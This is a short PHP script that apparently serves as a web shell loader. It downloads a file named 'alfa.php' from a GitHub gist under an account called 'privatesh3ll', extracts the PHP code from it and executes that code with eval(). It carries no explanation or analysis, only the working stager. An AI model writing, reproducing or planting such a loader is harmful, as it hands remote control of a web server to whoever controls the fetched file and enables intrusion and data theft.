<?php

$file = 'https://gist.githubusercontent.com/privatesh3ll/0a2875857ca38068ca05c8cf71aa7513/raw/6701ba9c11307a30398c2683e610455000ddfbe3/alfa.php';


$i = file_get_contents($file);

if ($i !== false) {
    
    if (preg_match('/<\?php(.*?)\?>/s', $i, $e)) {
        eval($e[1]); 
    } else {
        echo "php not found";
    }
} else {
    echo "!!";
}
?>